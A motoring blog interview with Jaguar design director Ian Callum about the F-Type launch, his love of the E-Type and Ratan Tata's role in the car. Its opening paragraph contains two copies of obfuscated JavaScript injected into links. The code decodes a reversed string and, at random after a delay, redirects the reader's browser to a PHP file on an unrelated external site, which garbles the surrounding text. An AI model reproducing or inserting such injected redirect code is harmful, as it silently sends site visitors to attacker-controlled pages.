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One of the first items of crankandpiston coverage from this year’s $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/postcard-from-paris-those-weve-met/” target=”_blank”>Paris Motor Show was the launch of the hotly-anticipated Jaguar F-Type. And some of us were even lucky enough to be in attendance for $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/2012-paris-motor-show-jaguar-f-type/” target=”_blank”>this historic event.
As you can imagine, once the opening cascade of camera flashes had been put to bed, the next step was to collar one of the Jaguar crew on-site for more details. Luckily, whilst most of my colleagues were busy pestering the PR throng in front of the stand, I spotted my old mate Ian Callum enjoying possibly the first bit of piece and quiet he’d had for many months. Ian also happens to be the Design Director for Jaguar, and naturally, it wasn’t too long before I was galloping across, shaking his hand, and putting that little moment on temporary hiatus.
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In the past, Ian has completed stints with TWR and Ford, working heavily on the Aston Martin DB7 and latterly the Vanquish. Clearly then the boy knows his stuff, and remains one of the automotive industry’s most highly respected designers.
And being the all-round British gent he is, Ian was more than happy to have a quick chinwag about the F-Type. Indeed, as you can see, he didn’t need much coercion…
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Ian, you’ve been with Jaguar now since 1999, and have heavily influenced the redesign of the XK, the XF and the XJ. But this is something else entirely. You’ve been waiting half your life for a replacement to the E-Type, haven’t you?
“Who hasn’t been waiting half their life for that?! The E-Type was such a wonderful car, and I never in my wildest dreams thought I would be involved in creating its successor.
“And that’s what the F-Type is: a successor. People are already asking whether the F-Type will be as iconic as the E-Type, and the simple answer is we won’t know that for another 50 years! Maybe it will, and maybe it won’t.
“When I first went to Jaguar, my immediate thought was that we had to make a two-seater sports car. We absolutely had to! We tried and we failed, and we tried again and we failed, and then other circumstances took over. Then the opportunity arrived with TATA. Mr Tata wanted to do this car. At last!”
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Did Mr Tata walk in and say ‘we need a two-seater sports car’? Or did you pitch the idea?
“It was actually mutual to be honest. We’d been working on something in the background, and we showed that to him. He wasn’t that keen on it. He said that Jaguar simply had to make a two-seater sports car, because that is something the public expected from us. His father had actually bought an XK120, which interestingly we still had the paperwork for way back from 1950, I believe.”
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Amazing to think it had withstood the test of time for all those years. Actually, speaking of the 1950s, is it true that you’ve just bought a Mark 2 Jaguar…?
“Yes, I have! I’ve always wanted one, in fact more than I wanted an E-Type. I just love the shape of them and I thought it was about time that I owned a Jag. I can honestly say that I am now a bone-fida owner of a Jaguar for the first time in my life!
“Anyway, Mr Tata remembered his father’s XK120 very well, so he had a natural warmth for both the brand and the product. When we came up with the original document of sale, which we still had in the archives, he was like ‘wow’! He liked that gesture so much that he bought the company, didn’t he?! (laughs)
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The easiest sales pitch ever…?!
“Joking aside, he’d already bought the company by then. He was instrumental in making sure that we did do this car. He felt it was the right thing to do and I think he also felt a personal requirement to do it. This is his car. If it wasn’t for him, the F-Type wouldn’t be here.”
